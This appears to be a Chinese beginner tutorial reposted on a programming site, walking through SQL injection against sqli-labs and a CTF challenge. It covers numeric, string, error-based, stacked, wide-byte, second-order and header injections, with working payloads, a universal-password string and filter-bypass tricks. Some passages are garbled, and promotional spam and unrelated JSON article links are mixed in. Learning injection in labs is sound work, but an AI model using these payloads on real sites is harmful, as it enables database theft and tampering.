百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

小白SQL注入基础入门详细解析

toyiye 2024-06-21 12:35 8 浏览 0 评论

1.SQL分类

基于变量数据类型分

数字型注入 字符型注入 '' ' ) ')

搜索型注入 %’

JSON型注入(判断是数字还是字符 考虑要不要闭合

JSON={"XINGMING":"DUMP' and 1=2 union select 1,database(),2 #"}

如果大家在学习中遇到困难,想找一个python学习交流环境,可以加入我们的python裙,关注小编,并私信“01”即可进裙,领取python学习资料,会节约很多时间,减少很多遇到的难题。

基于获取数据的方法

基于回响 基于错误 盲注 布尔型盲注 时间盲注

基于注入点位置分类(请求方法)

注入要判断是否有干扰

GET注入 Cookie注入 POST注入(登录框)REQUEST 注入 (全部接受)

HTTP头部(SERVER注入)

防护软件可能只针对某种提交方式进行防护 可以使用其他方式进行绕过

基于查询方式

2.SQL注入测试方法

1.寻找注入点(登录框,表单,http头部(cookie,ua,re),搜索或者查找。。)

2.判断注入点对符号有没有干扰

3.构造测试语句->1,判断注入类型(数字,字符)->2,闭合(--+ #)

4.通过order by判断列数

5.通过union select判断回显位置

6.构造语句,获取数据 database()

3.万能密码

1‘ or 1#

4.MYSQL基础知识

重要名称

information_schema 在php5.0以后支持的 information_schema.schemata 存放的是所有数据库名 information_schema.tables 存放的是所有表名 information_schema.columns 存放的是所有列名 table_schema 数据库名字 table_name 表名 column_name 列名 column_name 用来获取数据库的

SQL命令

1.查看当前数据库 show databases

2.创建数据库 create database wljy charset=gbk;

3.使用数据库 use wljy;

4.查看当前数据表 show tables;

5.创建数据表 default : 默认值 comment: 备注 表类型:int varchar(50) auto_increment自动增长 primary key create table test(id int primary key auto_increment,name varchar(50) not null,addr varchar(25) not null default '中国')engine=innodb charset=utf8;

6.查看表结构 desc(descripe) test show create table \G -- 将结果竖着排列

7.插入数据 insert into test(id,name,addr) values(1,'张三','福建'); insert into test values(null,'李四','东北'); insert into test(addr) values(''东京'); // 报错 insert into test(name,addr) values('tom',default);

8.查看数据 select * from test where id=3; // id为3的所有信息 select name from test where id=3 // id为3的name信息

9.删除数据 delete from test where id=3;

10.删除表 drop table 表名

11.更新数据 update test set name='王五' where id=2;

1.使用mysqli函数,需要先开启对应的扩展

extension=php_mysqli.dll mysqli_connect(user,dbname); 2.设置字符编码 mysqli_set_charset(中文乱码写语句sql = "select * from 510_admin"; 5.执行sql语句,获取对象 con,获取对象数据rs] assoc 关联 row 索引 array 索引+关联

8.报错注入

1.构造目标数据查询语句 2、选择报错注入函数 3、构造报错注入语句 4、拼接报错注入语句

要有print_r(mysql_error());函数

1.floor报错

暴表 http://127.0.0.1/sqllab/Less-3/?id=-1') and (select 1 from (select count() from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))a)--+

2.extractvalue报错

http://127.0.0.1/sqllab/Less-3/?id=-1') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))--+

3.updatexml报错

9.文件读写

可以获取比如扫描出来的网站源码 通过导出获取源码

load_file():读取函数

into outflie或into dumpfile :导出函数

路径获取方式

报错显示(通过输入语句报错显示) 遗留文件(phpinfo) 漏洞报错(利用什么程序搭建 搜索相应漏洞 zblog phpcms等) 平台配置文件(默认路径) 爆破等

使用\要使用两个\ 后面有影响的话要注释掉

10.堆叠注入

利用堆叠注入,查询所有数据库:

1';show databases;#

查询words表中所有列:

1';show columns from words;#

查询1919810931114514表中所有列

1';show columns from1919810931114514;# (字符串为表名操作时要加反引号)

第一种查字段

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename tableswordstowords1;rename tables1919810931114514towords; alter tablewordschangeflagidvarchar(100);#

这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

第二种查字段

查询表中数据的方法我没想到,百度了一下,有两种:1.页面默认查的是words表,将1919810931114514的表名和words交换;2.利用mysql的预处理。

预处理语句输入如下:

1';use supersqli;set @sql=concat('s','elect * from1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;--+

用concat绕过了关键字的检查

sqli38关



11.宽字节注入

id=%df%27%20union%20select%201,schema_name,3%20from%20information_schema.schemata%20limit%206,5%20%23

12.二次注入

UPDATE users SET PASSWORD='122211' where username='admin';

以SQLli 24关为例


注册 用户admin'#


进行登录

修改密码


利用单引号闭合 #注释 任意修改admin的密码


成功登录admin用户

13.user—Agent注入

UA注入:若ua信息会被执行,则可能存在UA注入

以sqli18关为例

User-Agent: 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1


14.Cookie注入

uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#

15.Referer注入

Referer: ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1


16.XFF注入

X-Forwarded-for: -127.0.0.1' union select 1 ,2,3,group_concat(schema_name) frominformation_schema.schemata#

17.Base注入

uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

18.SQL注入绕过

1绕过:' 通过十六进制

关键字为空,通过双写绕过

内联注释绕过 /! select/ =被过滤 like regexp

空格被过滤 select() %0a,%d回车 或者tab

and or 被过滤 || &&

最后多说一句,小编是一名python开发工程师,这里有我自己整理了一套最新的python系统学习教程,包括从基础的python脚本到web开发、爬虫、数据分析、数据可视化、机器学习等。想要这些资料的可以关注小编,并在后台私信小编:“01”即可领取。

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码